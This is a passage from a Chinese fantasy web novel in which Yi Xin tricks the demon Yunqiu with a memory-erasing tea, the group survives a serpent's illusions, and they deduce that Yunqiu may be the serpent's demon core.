苦涩如影随形,但从未令她如此安心。
饮罢,易辛说道:“我背不出你的东西,你修炼千年,比我高深不知多少。不如换个游戏,我写一首诗,你来背,只有四句。倘若你背下来,我和她,都随你处置。如果你没背下来,就放我们走。”
世上过目不忘者鲜少,但匀丘知道自己便是其中之一。在他眼里,易辛只是垂死挣扎。
“有点意思,我倒要看看,你能写出什么样的东西,让我难以背诵。”
“好,还是依先生的规矩,一柱香。我也学您的样子,送您三杯茶。如何?”
匀丘扬眉:“得失咒,你真的没背下来?”
“我不知先生名讳,只是送茶,一句话也不说。”
匀丘打量她片刻,才意味不明地笑了笑:“行,让我看看你葫芦里究竟卖的什么药。”
桌面上铺好纸笔,易辛在衣服上擦掉手心冷汗,听得匀丘一声淡淡讽笑,她置若罔闻,提笔写字。
一首非常简单、朗朗上口的打油诗。
是浣衣坊那些人边干活边消遣作出来的诗,没有诗人那么多讲究和精心设计。
易辛把诗摆在匀丘面前。
匀丘从头到尾默读一遍,甚至连盏茶的功夫都没有,他疑惑更甚,但见易辛整个人如同脱胎换骨,方才慌张僵硬的模样已经没了。
“记好了。”匀丘说道。
“好。”易辛把茶递给匀丘。
“仪式还挺足。”匀丘阴阳了一句,喝下茶水,刹那间,苦涩弥漫。
他皱起眉头,拿开茶盏,看了又看,杯面上几缕浮沫,还有一片茶叶。
为何这么苦?茶叶坏了?
这壶茶是方才他自己煮的,但易辛和祁有为喝时,并无异样,匀丘不禁问道:“你刚喝的什么味道?”
易辛诚实道:“苦的。是您茶叶放久了吗?”
匀丘一时也拿不准,抬手一泼,把苦茶水全部倒了,打算开始背她的打油诗。
他张开嘴,脑中忽然茫然,那诗分明简单好记,可此时竟一个字也蹦不出来!
匀丘垂下眼,一面思考一面道:“等下。”
易辛点头,并无催促。
祁有为望着这一幕,甚为惊奇。易辛写诗时,她看过一眼,记了个七七八八,彼时连她也不懂易辛在卖什么关子,那首诗显然不难记,可偏偏匀丘好似真的卡住了。
良久,匀丘僵硬:“我……不记得。”
易辛点头:“无碍,老先生还能背两回。”
匀丘审视易辛。
只见她目光澄净,煮茶时专心致志,细心地把杯具全部擦拭并摆放整齐,泥壶开始冒出一阵烟气,挡在两方人中间,氤氲了她的面容,在夜明珠映照下,如烟似雾。
这片刻间,匀丘只看了打油诗一眼,便在心里一字不差地默背了好几遍。
他能轻易记住,只是方才确实什么也想不起来。问题出在哪?
这女人会法术?不可能。她明明是个普通凡人,再者若有术法,樊笼大阵下,什么也施展不出来。
那是茶水?也不对。茶是他亲自煮的,她只是直接倒了一杯。
思忖间,茶烧开了,考虑到茶叶有损,匀丘要求她直接煮水即可。
易辛斟好白水,再次送到匀丘面前。
等茶水匀凉时,匀丘又一次确认打油诗,然后喝下。
他动作顿住,盯着茶水细细思量:“这水也是苦的?”
易辛跟着喝了一杯:“好像是。是不是您的法力出错了?”
这些茶具、茶水全是匀丘用术法变出来的,易辛跟着胡诌。
但匀丘并未上当,他立即回忆打油诗,脑中又是空白,最后盯着茶水入了神,良久才抬头道:“你们没来之前,我喝的所有东西都属正常。是你——在茶水里动了手脚。”
无关茶叶,无关白水,问题出在易辛。
匀丘惊道:“你怎么做到的?”
易辛没有说话。
匀丘脱口而出:“药粉?你用了让人失忆的药?”
下一瞬,他就否认了自己的猜测。
她怎么可能在自己眼皮子底下下药,效用还如
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此精准,只让他忘记打油诗。
匀丘冷道:“最后一次,我不喝你的茶。”
“那祁有为也不喝你的茶。”
“笑话,那我何须逼你背得失咒。”
“背咒是我绝对做不到的事;你喝了我的茶,也绝背不下打油诗。既然你能不喝茶,我们为何不可以?既是游戏,起码要公平,”易辛据理力争,“我们都面对做不到的事,才公平。”
气氛僵持不下。
易辛极力维持面上的镇定,匀丘脸上看不出任何情绪,但鹰隼般的目光却死死盯住了她,最后想通了什么似的,缓缓说道:“你是神。樊笼大阵困得住修行之人,却困不住神。”
他创立樊笼大阵时,便发现这阵法对神无用。
天道在上,冥冥之中,便是一物降一物。这阵法本就逆天,无视修行者道行如何,皆能锁住。但总有镇不住的人,凡人他不屑,神明他不能。
闻言,祁有为错愕地看向易辛,她是神?
易辛却否认:“我不是神,我只是普通凡人。”
“那你如何操控了茶水?”
易辛犹豫半晌,正琢磨说辞,那厢匀丘却联想得极快。
“水?记忆?……樊笼大阵……神力,”匀丘神色渐渐豁然,目光极亮,缓慢道出二字,“孟婆。”
易辛和祁有为齐齐震惊。
易辛脱口而出:“我不是孟婆。”
电光火石间,易辛开始胡说八道,真假参半:“我……只是偶然去过一处地方,那里有神……她送了我一点防身手段。”
“地府?”匀丘问道。
孟婆在地府,这是最合理的解释。但祁不为当时和她在一起,花信可没送她任何东西,只有风疏在归墟境送了东西。
易辛又开始胡诌:“不是地府。归墟境……那里有个神,她认识孟婆……”
“归墟?”匀丘愣住,好久没听过这个地方了。
气氛又静了下来,良久,匀丘说道:“你赢了。我放你们走。”
至此,易辛才松了口气,虽然匀丘可恶,但人在屋檐下,不得不低头,她很窝囊地对匀丘感激不尽。
易辛拿好光阴境,匀丘却没解开樊笼大阵,祁有为只好忍着痛,由易辛扶着离开。
一离开山洞,束缚住祁有为的那股力量便消失了,她拉着易辛走出好远。
借着山洞照出来的微光,两人席地而坐,劫后余生之感令两人冷汗直冒。
这时,易辛顿感手脚发软,恍觉自己经历了一场豪赌。
当祁有为被樊笼大阵束缚住时,她立即想到前世花信借给自己的孟婆神力会不会用不了。可被逼到绝境后,她除了用失忆的方法反客为主,也束手无策了。
如果她没被大阵束缚,是否代表神力能用?
得失咒绝对背不下来,祁有为一死,她不认为匀丘会放过她,横竖都是死,只能赌一把。
“庄主,实在抱歉,我差点害死——”易辛后怕,但祁有为打断了她。
“不必道歉,你做的很好,”说罢,祁有为安抚地摸了摸易辛面颊,“如果换成我,我也背不下得失咒,而且樊笼大阵压住了我的灵力,我只能眼睁睁看着你死。最后能做的,大概是为你‘殉情’。”
安抚之余,祁有为还幽默了一把。
此情此景之下,易辛无以言表,对于祁有为的温柔倍感抚慰。
祁有为晃了晃手中卷轴:“这个得失咒挺厉害,日后若好好用,说不定能发挥意想不到的作用。”
收好卷轴和光阴镜,祁有为变出一颗夜明珠:“我们先去找小七他们吧。”
易辛点头。
56. 第二十五章
天堑深渊的某处,白三清蜷缩在地,狐身喘息微弱,间或夹杂痛楚呜咽,好不可怜。
余桓不断输出灵力,替她疗伤,于伤势有益的药也喂了好几颗。
反正甘华门最擅长灵丹妙药。
片刻后,祁不为制止了余桓,打算替换疗伤。
余桓没有接受:“我一人来就好,你不必再费灵力。”
“此地必然危机四伏,你若用光了灵力,最后连防身都做不到,还要拖累他人救你吗?”祁不为一番话说得毫不客气,但十分在理。
“我明白了……多谢。”
余桓收了手,祁不为接替上,白狐虚弱地睁了眼,嘤咛几声,似是想感谢讨好,奈何没什么力气,蹭不到他的手心。
祁不为说道:“安分点。治好了你,还要去找我姐姐和易辛。”
白三清嘤嘤叫了几声,算作回应,然后伏着不动。
一行人很幸运地落在了同一片地方,下坠越过一片黑暗到底后,便是岩壁形成的隘道。
岩壁泛出微光,犹如月华,让人得以视物。
按理来说,此地不见天日,本该什么都看不清,这显然是蛇妖为了方便自己。
也许那头巨蟒也不愿每日深处黑暗之中。
易张稚沿着石壁绕了一圈,时不时探手触摸。余桓也加入其中,走到他身旁:“易公子,你可探出什么?”
“这些石壁,越往前走,其中蕴含的妖力越强。前面,应该是巨蟒的巢穴。”
余桓拧眉道:“那我们往反方向走。先避开那头巨蟒。我们现在势单力薄,应该等仙门支援。”
“他们不会下来的。”易张稚淡漠道。
“结界已破,仙门若不在此拦住巨蟒,到时它出去祸乱天下怎么办?”
“巨蟒要能出去,开始就会出去了,所以结界应该还在。此刻,仙门要么被结界拦住,不能进来,要么发现巨蟒出不去,他们可以进来,但却不会涉险。”
余桓愣住,忽觉此情此景如此熟悉,是祁连山徐晴岚和蛟妖大战的翻版。
他们被仙门遗弃了。
就算余桓不想承认,但他也无法否认,单凭他们几个,实在无法抗衡这头蛇妖,力量悬殊太大。
祁不为前世已经领教过匀丘和蛇妖的厉害,他比任何人都清楚这几乎令人绝望的险境,更何况祁有为和易辛现在下落不明。
与前世近乎如出一辙的轨迹下,祁不为还没崩溃只是因为活要见人死要见尸。理智告诉他,匀丘和蛇妖不会立即要她们性命,无聊了数千年的时光,他们很可能会捉弄折磨她们。
就像当初以祁有为的性命要挟他去学得失咒一样。
一定要撑到大家汇合……
祁不为收手,白三清伤势已经愈合,只是绞魂鞭伤及魂魄,她仍旧虚弱,需要静养。
他抬手掩住眼睛,压住心底的躁郁和恐惧。
还不能失控……要克制住……易辛不在,没人能在他失控的唤醒自己……
祁不为努力调整呼吸,后知后觉发现,原来他潜意识里就在依赖易辛了……
“余桓,”祁不为起身,“你把白狐带走,和易张稚往前走,我去反方向。”
前世他和祁有为走过这条路,往前是巨蟒巢穴,往后是匀丘。
他们兵分两路,能更快地找到她们二人。
“如果找到了人,就用传音术。”
话落,祁不为头也不回地走向光芒渐弱处。他会得失咒,去匀丘那里最合适。
余桓抱起白三清,和易张稚对视一眼,无可奈何地和祁不为背道而驰。
前方越来越暗时,祁不为召出不思量,他记得,隘道入口处有迷障蛇群。
另一边,祁有为举着夜明珠前行,再偏头看向身旁,易辛脸色泛白,除了看路,目光便时不时黏在夜明珠上,仿佛怕唯一的光源忽然灭掉。
易辛似乎畏惧黑暗?
祁有为握住她的手心,果然被冷汗浸湿了。
易辛手指蜷缩,颤声道:“怎么了……”
“你怕黑?”
“嗯……太黑了,就会比较怕……”
祁有为还想出声安慰,眸光骤然凛冽,猛推易辛一把,抬手召剑,斜里一劈。
一条小蛇断成两截,热血洒向两边。
夜明珠掉在地上,骨碌滚了几滚,投出莹莹幽光。
地上密密麻麻地盘踞着大小不一的蛇,嘶嘶吐着信子,所见所闻,简直头皮发麻。
一股巨大的威压从四面八方拢紧,祁有为竟有种窒息感,不是被盯着背后的悚然,更像整个人进了猛兽的腹腔,诡异、逼仄。
不是因为这群蛇。
祁有为陡然抬头,在夜明珠的微光下,半空盘踞着泛紫的圆形身躯,朝着周遭绕了一圈。
她不禁咽了下喉咙,屏息凝神地循着望向尽头,只能把易辛看个模糊轮廓,她似乎捂住了嘴巴,遏制住不要叫喊出来。
易辛察觉到祁有为正往自己这边看,刚想问怎么了,身侧忽然闪过一条东西,紧接着有温热气息喷在身上。
她蓦地转头,黑暗中,骤然睁开一对猩红竖瞳。
那红光照亮了面前一片地方,巨蟒朝她嘶着蛇信,在她回身的瞬间,张开了血盆大口。
“易辛——!”
巨蟒口吐白雾,刹那裹住了易辛。
与此同时,四周盘踞的小蛇也喷出薄雾。
乱人心智的瘴气!
祁有为屏住呼吸,立即掐诀,风自她周身荡开,挟着清正之气,强劲地扫除白雾。
眨眼之间,巨蟒已经消失,只剩易辛呆呆地站在那里,身子细细颤抖着。
她中招了!
祁有为正要上前,蛇群却涌了上来。
缠斗间,她发现蛇群只攻击没有中招的人,这样也好,她可以安心地对付蛇群,只是不知那雾瘴会对易辛产生什么影响。
白雾袭来之际,易辛觉得好像灼伤了自己眼睛,周遭顿时陷入无边无际的黑暗。
她心口剧烈跳动起来,掀起尖锐的疼痛。
她紧紧咬住指节,尝到了血腥味也不放下,胆怯而颤栗地伸出手,像盲人探路那样。
什么也摸不到,周围仿佛一片虚无。
但她知道,这里很多蛇,她不敢乱跑,也不敢呼喊祁有为,怕她分神。
被动、恐惧、迷惘……还有越来越强烈的尖锐刺痛,痛得四肢发麻。
她不得不蹲下蜷缩起来,身后忽然响起一道呼唤。
“易辛。”
是祁不为的声音。
这一声唤醒了她几分神智,也让她畏惧转身。
从看不见起,周围便寂静无比,祁有为和蛇群都在,不可能没有丝毫声音,眼睛捱过起初的灼痛后,也感受不到异样了。
种种情形说明,她好像掉入了巨蟒设置的幻觉里。
这里漆黑一片,如果祁不为在,她几乎知道那是什么。
她捂住耳朵,不转身,也不看,喉咙里却禁不住逸出几声压制恐惧后的哽咽。
那声音却无孔不入,捂住耳朵也没用,忽然,眼
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前映出白光。
“易辛。”
呼唤的声音近在眼前,仿佛贴在脸上。
易辛心头猛颤,吓得跌倒在地。
面前一道白光,盘坐着一个罩在黑袍里的人。
摔倒时,渐渐低落的视野里,易辛看清了那张脸。
那人瘦得不成样子,仿佛只是人骨上贴了张树皮,眼眶深陷,形容可怖。
任谁都看不出此人是谁,可易辛知道,那是祁不为。
易辛听到几声压抑的哽咽,不知何时,也许是那一瞬,她忽然泪流满面。
祁不为转动眼珠,声音沙哑凄惨:“易辛,连你也怕我了?”
他似是有些难过,伸出骨瘦如柴的枯手,似乎想抚摸她。
易辛却猛地呕吐起来,好像有根木棍在胃里翻搅,恐惧让她痉挛蜷缩。
她吐不出东西,一声叠着一声地干呕起来。
豆大般的眼泪砸在黑暗里,她终于忍不住放声大哭起来。
祁不为温柔地扶起她肩膀,用那张辨不出人形的脸对着易辛:“我让你这么恶心吗?”
易辛无措摇头,不是恶心,是恐惧。
是埋藏在心底里最深的恐惧,和百鬼大阵、和祁不为的死亡交杂在一起,让她前世回想起来,便无比痛苦。
她根本想象不出来,祁不为到底遭了多少罪,才能变成人鬼不分的模样。
祁不为似乎生气了,情绪激动起来:“你不是爱我吗?你怎么能怕我?怎么能恶心我?”
说到最后,祁不为忽然瞪大眼睛,那张脸仿佛都要变形了。他怒吼:“你还杀了我!”
“你居然敢杀我!”
“我要带你一起下地狱!”
“让你受十八层地狱之苦!把你扔进万鬼之窟!叫它们吃你的肉,喝你的血,一片一片撕咬你的灵魂!”
“你一定要万劫不复!我要让死对你来说都是一种奢侈!”
祁不为站了起来,黑袍翻飞,面目狰狞,无数厉鬼从他身后飞了出来,遍布那一片黑幕。
桀笑、嘶叫争先恐后地钻入易辛耳中,终于把她最后一丝理智击溃。
易辛尖叫起来,面上涕泗横流,狼狈地从地上爬起来,拼命地往前跑。
身后厉鬼扑来,狰狞、叫嚣。
易辛不要命地奔跑着,神情涣散,眼泪不断,好像那些厉鬼已经在啃咬自己的魂魄,头发被撕扯着,身子不知何时会肢解。
哭着哭着,她忽然爆发出剧烈、高昂、撕心裂肺的大叫,近乎咆哮、怒吼。
她停住了脚步,陡然回身,冲向厉鬼群中,猛地一把抱住了形似骷髅的祁不为,带着勃然怒气哭喊道:“我会救你的!”
“祁不为!”
“我一定会救你的!”
“不要死——!!!”
吼完后,易辛觉得肩骨上猝然传来剧烈的疼痛,那力道好似以五指之力生生嵌进自己的血肉,要捏碎她的骨头,还伴随着一声厉喝。
“易辛!睁开眼睛!”
剧痛之中,她猛然睁眼,抬头一看,祁不为正望着自己,那张脸清隽漂亮,眉峰下压时,凌厉野性。
身后骤然爆发出一道火光,高温气浪袭来,她被抱着旋了个身,动作间,祁不为的视线就落在她脸上,没有移开一分一毫。
易辛余光里,易张稚扶着祁有为的肩,无刃剑上盘踞的火焰随之消散。
她离开幻觉了……
四肢顿时发软,身子不由自主往下滑,却被祁不为拦住了腰,托着后背重新靠进他怀里。
57. 第二十六章
祁有为正与蛇群缠斗,忽然看见易辛哭喊着跑了起来,竟然掠过她跑向了蛇群身后。
那处有微弱光芒,似乎是条甬道。
易辛有异,祁有为劈开近身蛇群,打算速战速决。
她朝甬道靠近,再回身时,衣袂无风自动,面朝蛇群施展剑诀。
无形气流成卷,裹着锐利风刀,朝蛇群切割而去。
祁有为眼尖,上方飞来一条漏网之蛇,正要抬剑,却被人扯着肩膀后退一步。
刀刃凌空劈过,卷起火焰,推向风阵。
火借风势,迅速膨胀,把这寸地方映得十分明亮,所过之处,蛇被风火尖刀割成几段,又烧成灰烬。
祁有为侧首,看见易张稚收剑,清冷面孔被火光映出几分凶性,好似不快。
她又立即转头,看见祁不为把易辛抱在怀里。
易张稚挥手,无刃消失,他问身旁的祁有为:“你没事吧?”
“没事。多谢。”
祁有为简单谢过后,直奔易辛,和祁不为对了一眼,皆在彼此眼中看到松一口气:“你们怎么在这里?”
“我和余桓他们兵分两路,刚走到这里,就碰上了易辛,”祁不为顿了下,越过阿姐看向易张稚,“他下一瞬就赶到了。”
他甚至没来得及向易辛询问情况,那易张稚好像长了狗鼻子似的,能闻见祁有为的味道,立马就到了。
他都要怀疑易张稚没有跟着余桓走,而是跟在他后面了。
听几人对话之余,易辛冷静些许,恢复了点力气,克制着从祁不为怀里退出。
祁有为捋了捋易辛凌乱的碎发,问道:“还好吗?方才不管你看到了什么,都是假的。”
易辛缓缓点头:“……嗯,我没事了。”
祁有为扫过众人:“那我们去和余桓汇合吧。”
话音刚落,余桓也因为易张稚的忽然折返而赶了过来。
易辛想起白三清,得知它正在乾坤袋中养伤,暂无大碍,便松了口气。
最后,一行人朝着妖力渐强的方向走去。
良久,众人无意间穿过一层膜似的东西。
眼前豁然开朗,天光大作,两面是数丈高的山崖树林,中间嵌入一条湍急奔流的河水,白沫激荡,似龙吟低啸。
他们正站在河岸边的栈道上。
“这是巨蟒幻化出来的?”余桓惊诧。
祁有为颔首:“应该是——等等,你们听见什么声音了吗?”
余人细心聆听,湍急水声中,隐约传来人声。
“在那边。”祁有为指着河水顺流的方向。
他们轻手轻脚地沿着栈道靠近,祁不为和易辛走在最后,视野随着弯过的转角渐而开阔。
鬼斧神工之下,一弯悬空的岩洞桥连接两岸山崖,中部镂空,高高拱起,让河水川流而去。
栈道尽头,拱岩下,是略显开阔的平地,站在那里,仰望岩洞穹顶,便有泰山压顶之力,雄伟与渺小之感扑面而来。
那片平地上,正站着几个仙门弟子,其中便有钱衡。
祁不为微讶,那些二世祖也掉下来了?
他正要继续走,前方的祁有为忽然打了个停住的手势,那群人似乎正在争吵。
“这是什么鸟地方?”
“来来回回走了几遍,往左往右都是一望无际的河,根本走不出去!”
“这明显是蛇妖变出来的洞府,只要在这里,我们就走不出去!”
二世祖们有些慌张,言辞急躁。
“蛇妖想干什么?吃了我们吗?可这么久都不出现?”
“也许,它没发现我们?或者它住得很远……不知道我们来了……”
祁不为心中冷笑,它就住在这片拱岩下,迟早会回来。
一直沉默的钱衡似是受不了他们的聒噪,喝道:“怕什么!它要来,我们就一起上!还没打,就先灭自己威风!”
众人受到斥责,心有不忿,有些忍了钱衡够久的人,终于被恐惧折磨得爆发了。
“钱衡你什么态度!平日大家不跟你计较,你还真以为自己是根葱了!”
“你说什么?!”钱衡怒道。
“你聋了吗!我让你对我们放尊重点!瞪眼睛有什么用!谁不会瞪了?!怎么,你还想吃了我吗!”
眼见情形要一发不可收拾,有人赶紧出来打圆场:“别吵别吵!现在是一致对外的时候!”
他连忙转移话题:“诶!你们下来之前有没有觉得奇怪?好像身体忽然不受控制了……”
众人回过神来,神色各异,纷纷附和。
“有!我根本没动,但突然就冲着深渊里跳了!”
“我也是!”
“难道那蛇妖一眨眼的功夫,就操控我们了?!”
这时,祁有为回头,对身后之人示意折返,暂时别和这群二世祖们呆在一起。
他们沿着栈道走了一会儿,略过来时的结界,此时这里只进不出。他们便继续向前,发现有处通向山崖森林的岔道,便走了上去。
林中有片稀疏之地,没有杂草,离岸边又近,若二世祖们有情况,他们也能及时反应。
众人席地而坐,商量接下来该怎么办。
两方人马互通有无,祁有为说了自己遇见匀丘之事,把樊笼大阵告诉他们,但隐去了易辛反客为主让匀丘失忆之事,这里面还牵扯到归墟境,此种长生不死之地,越少人知道越好。
易张稚严肃道:“如果有这种阵法,他再配合蛇妖,收割人头轻而易举。”
祁有为思忖片刻:“我觉得他应该不会轻易出手,他和蛇妖这对兄弟,寂寞了数千年,应该会活动活动筋骨,等蛇妖玩腻了,再出手致死。”
众人沉默片刻,这听起来就像是他们无论如何都会死。
祁不为陷入沉思,前世大战蛇妖时,只有他和祁有为两人。陷入绝境后,祁有为决定用鹤发之术。那时祁不为真是恨死这个山庄秘术了,害死了他爹娘,又想夺走阿姐性命。他走投无路之下,只好吸走蛇妖妖力。
妖力太汹涌,他纵然想停下也不受自身控制,很快便失了神志,昏迷前只感觉妖力一直往体内灌,他一度以为自己要爆体而亡,事后却在甘华门醒来。
他们和蛇妖大战时,匀丘也在场,只是旁观。匀丘最后如何,他也不知道,也许被无差别地吸光妖力死了?
祁有为打破了沉默,斩钉截铁道:“万物相生相克,人、神、妖,没有谁是完美的,一定有破绽,只是我们暂未想到。”
余桓赞同这种说法,稍后又迟疑道:“可即便我们找出他们的弱点,在实力至上面前,我们也许无法施为……”
仙门之中有个共识,妖物的弱点在于妖丹。可他们怎么取得了那头巨蟒的妖丹,怕是连它表层的鳞甲都破不开。
大多数妖丹在体内,也有妖怪会把妖丹取出藏起来。
这里面变数太多。
余桓叹息道:“如果仙门能下来支援,说不定可以一战。”
祁不为嘲弄一笑:“他们不会下来的。”
“一对揭露仙门丑闻的姐弟,一个仙门想置于死地的半妖,还有一头狐妖,以及无门无派的野人和侍女。仙门何必耗费大力气救我们,死守住结界救够了。”易张稚面无表情地附和。
“野人……?”余桓似尴尬,又想笑,“你也不必如此形容自己吧?”
笑过后,余桓又陷入条条大道通死门的挫败黯然中。
“他们会下来的。”
说话的是祁有为。众人愣怔过后齐齐望向她,只见她笑意甚笃。
“他们的宝贝儿子不都在这里?所谓虎毒不食子,他们不会见死不救吧。”祁有为耸耸肩。
话落,祁不为想起了什么,猛地看向祁有为,后者察觉到他的目光,只是笑了笑。
这些二世祖都是当日喝过那坛酒的人!
他们掉进裂缝里,是祁有为操控的?!
可是为什么……?
祁有为伸了个懒腰:“既然一时间想不出他们的弱点,那就打坐调息吧,一边默默想一边恢复灵力,有场硬仗等着我们呢,说不定到了实战,我们就会发现他们的命门。”
众人点头,安静了许久的易辛说道:“那我替你们放风吧。”
她不是修行之人,不需要打坐调息。
大家分散开来,在彼此都能照应的范围内找了个适宜的地方调息。易辛则面向从河岸上来的岔道,背靠大树坐下。
刚一坐下,祁不为便半蹲在她身旁。
易辛怕打扰余人,压低声音问道:“公子不打坐吗?”
祁不为抬手施法,透明屏障笼罩二人,仿佛躲在鸡蛋壳里:“他们听不到了,不用那么小声。”
说罢,他拿出小玉瓶,开盖后拉过易辛手掌,指节上咬痕严重,再用力些,都能扯下一小块皮肉。
“在蛇群迷障里,看见了什么?”
祁不为问道,挑出药膏,轻柔地抹在伤口上。
药膏清凉,但不可避免地还是钝痛,易辛不禁蜷起手指,无意勾住了祁不为掌心。
“忍着点,”祁不为似乎叹了口气,低头认真上药,动作间又问了一遍,“你看见了什么?”
“……有很多鬼追我。”
“你好像真的很怕鬼。”祁不为低垂着头,大部分心思都在抹药上。
易辛没说话,凝神望着祁不为,从眉眼到鼻唇,轮廓鲜明,生息之气充盈于面孔的每一寸,和幻境中看到的完全不一样。
“我可以摸摸你的脸吗?”易辛出神着,脱口而出。
话一出口,她就愣住了,对上祁不为惊讶的双眼,顿感局促。
“我……”她嚅嗫着,似乎想找个措辞把尴尬场面揭过去,一时却找不到,渐渐在祁不为凝视的目光里安静下来。
两人对望着,祁不为还握着易辛受伤的手。
随后,易辛伸出了手,缓缓贴住祁不为的面庞,掌心下温热细腻,触感一路延伸至她的心口。
指腹向上,在他眨眼时,掠过乌黑浓密的睫毛,覆在薄薄的眼皮上。
祁不为垂眼,显得很温顺。
“我可以抱你一下吗?”易辛又问。
只是祁不为还没回答,易辛便搂住了他的后颈,伏向怀中。
她贴得很近,祁不为的胸膛宽厚坚硬,热意透过肌肤和衣服传来,贴上她的面颊,隐约间,似乎能听见这具身躯的强劲心跳,月麟沉香浅淡安神,轻纱似的从头顶罩下来。
易辛眸光渐而渺远,缓慢眨眼时,生出了股静谧的痴意。
抱住心爱之人,是情动暧昧的,但再三确认他如此鲜活,更令她迷醉。
“不要生气。”易辛低喃。
声音在祁不为耳边响起,仿佛羽毛拂过,温软得像梦呓,怀里好像伏了只无意识撒娇的小猫,只要抬手,一只胳膊就能圈她。
“为什么生气?”祁不为声音也放得很低。
“对你放肆。”
……对你肆意亲近。
易辛扭过头,埋进祁不为肩窝里,这让她看不见外面的参天大树与天光,感官里只剩下祁不为,被她紧紧抓住的祁不为。
感受到易辛的动作,祁不为低了头,伸手环住她,另一只手轻轻抚摸她的脊背:“呆在这里,你很害怕么?”
他以为易辛担忧无法安全离开此地。
说罢,他感觉易辛在他肩窝里动了动,不知是摇头还是点头。
祁不为抬手按住易辛后颈:“你会安然离开这里的。”
易辛从他怀里退出来,仰头道:“你想出办法了?”
“没有。”
易辛本想问那他为何如此笃定,话到嘴边又咽了回去。前世他和祁有为离开了,这一次也能用同样的办法。但两人心知肚明,那真是下到不行的下下策。
她既已松开,祁不为便也靠着同一棵树坐下来:“方才聊天时,你一直没说话,但好像在想什么?”
易辛神色踟蹰:“我有一个大胆的猜测……也许听来很荒谬。”
她绷着脸,凝神思索。祁不为莫名觉得这番模样有些可爱,仿佛她心里真的憋了个大的,不禁单手掐住她两颊晃了晃。
“你倒是说啊,太离谱了我顶多笑你一下。”
易辛微一偏头,挣开他的戏弄:“我觉得……匀丘没有妖力。”
祁不为顿住。
易辛补充道:“或者说妖力很弱,弱到只能用术法变些锅碗瓢盆一类的东西。”
祁不为也认真起来:“细说看看。”
“他创了得失咒,这个咒术与其他术法有个很大的区别。施术者不需要以灵力或是妖力催动它。”易辛说道。
祁不为沉思着,没有接话。
易辛继续道:“倘若我们假设匀丘没有妖力,得失咒看起来像他的攻击手段,再顺着这个思路想下去,他没有妖力,必然需要强大的防御。”
“樊笼大阵。”祁不为说道。
福至心灵的,
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祁不为觉得一切都说得通了。所谓万物相生相克,匀丘修炼千年,还能创出樊笼这种逆天的阵法,实则是因为他没有妖力。
所以他从不动手,只是旁观。
刹那间,祁不为好像抓住了一根线,顺着抽丝剥茧,就能发现更多。
他低着头,虚虚望着某处,瞳孔微微转动,正快速思考。
易辛安静呆着,没有打扰,山崖下河水哗啦奔流,尚能听见湍急之声,良久,余光里祁不为终于动了。
他定定望着易辛:“你是不是还想了其他的?”
易辛继续道:“匀丘和蛇妖是双生子,若匀丘很弱,蛇妖应该很强。如果蛇妖强到没有破绽……匀丘有没有可能是他的破绽——”
“他是蛇妖的妖丹。”
任何生灵都不是完美的,一定有破绽。
所谓百步之内,必有解药。
祁不为神奇地望着易辛:“你开始怎么不说?”
易辛:“这都是猜测,也没有证实过……而且我不是修行之人,对这方面不太了解,我怕说出口,反而扰乱了你们原本的思路。”
末了,易辛又道:“我是打算等你们调息结束后再说的,在这期间,你们应该都有自己的想法了,我再说出来,不会影响你们。”
此时祁不为再看易辛,便像是发现了什么了不得的东西,眼角眉梢都是纳罕和惊叹。许是当局者清,旁观者迷。他们这些修行之人,大概很难往匀丘没有妖力这个方向去思考,因为被樊笼大阵震撼过,先入为主地认为他必然妖力强悍。
易辛想起什么,又道:“不过他应该还有其他护身之物。樊笼大阵对普通凡人无用,但我当时靠近他,他一点也不防备。”
祁不为点头:“蛇妖对他一定也有防御措施。”
两人又商量了片刻,觉得蛇妖的防御不是轻易能破的,而且这一切都是假设。
易辛有些挫败:“……那我们把消息告诉大家,群策群力?”
祁不为沉默半晌,似乎思索着什么,最后摇头:“不要告诉他们。”
易辛迷惑,但没有多问。
就在这时,拱岩方向传来喧闹。
两人对视一眼,撤了笼在身边的结界,余人也睁开了眼睛。
“是那头巨蟒来了吗?”易辛蹙眉问道。
“应该不是,蛇妖身型巨大,要是和那群人发生冲突,怎么也会地动山摇,”祁不为说道,又朝那个方向望去,“我去看看情况。”
祁有为起身:“我和你一起去,其他人先呆在这里。此地暂时安全。”
众人无异议,姐弟俩便沿着森林岔道走入栈道,在拐角山岩处停下,借着掩蔽望向拱岩下的情形。
平地上,赫然出现了一群仙门中人,钱衡等门派掌门正统领座下的得力弟子,神情严肃。
祁不为微微睁大眼睛,没想到那些人真的下来了。
只见仙门身上有打斗痕迹,言语间提到蛇妖巨蟒几个词。
他捋了一下,他们是被蛇妖赶到此地来的……就像野兽把猎物圈入自己的地盘。
德高望重之辈一来,那群二世祖顿时找到了主心骨,不仅消停了,还安心不少。
他们正互通蛇妖信息,也明白蛇妖有心要在这里收拾自己,便开始因地制宜,搞陷阱的搞陷阱,偷袭的偷袭,各处设好点位,看起来打算狩猎巨蟒。
祁不为由衷感叹一声,人多果然势众,当初他们俩姐弟既不像今日这般有时间思索双生子的弱点,也来不及像仙门一样设伏。
思及此,他扭头看向祁有为:“你在那坛酒里动了手脚?”
“是啊,当时听你说他们绑架易辛,就觉得这群人纨绔过了头,又想到你要在仙首大会上揭露师父师娘牺牲的真相,便留了一手,以防万一。”
“但我以为你会在钱备等人为难我们的时候出这招。”
“所以把他们拉进蛇巢,你觉得他们无辜?”祁有为反问道。
祁不为讽刺一笑:“在我眼里,他们和无辜不沾边。”
顿了顿,他又道:“只是我没想到你会这样做。你应该……会觉得他们无辜。你平日不是很讨厌仙门内斗,殃及无辜百姓的吗?”
“可如果不把他们拉下来,仙门一定会看我们等死。”
“如果他们死在这里?”
“算他们倒霉。”祁有为面色平静。
他们被她选中,算他们倒霉。就像清风夫妇被那些人选中,他们也毫无歉疚一样。
祁有为:“你是我唯一的弟弟,你永远排在仙门之前。何况在这里,我们需要战力,所以让那些二世祖作饵。”
祁不为说不出话来,愣愣看着她。他知道他们彼此看重,也明白祁有为身上有股狠劲,从她年纪尚轻便肩负清风山庄、在仙门中斡旋,就能窥见一斑。
但她今日所展现出来的狠绝,他还是第一次察觉。
他们需要战力,显然对钱备这些掌门动手脚更直接,但她却选择了那群二世祖,她要那些人被逼无奈。
为了死去的“爹娘”,为了他能离开这个鬼地方。
祁有为毫不客气地拍拍他的脸:“把这副嘴脸收收,好像我平时待你不好一样。”
他拍开她的手:“你说些什么。”
祁有为撇嘴,摸摸自己手背,望向人群中的崔掌门:“待会儿我去管他借东西。”
“你……也想到了?”他震惊道。
“怎么了,许你们想到,不许我想到啊。我和易辛一起经历的,阿姐比你虚长几岁,饭不是白吃的,懂?”
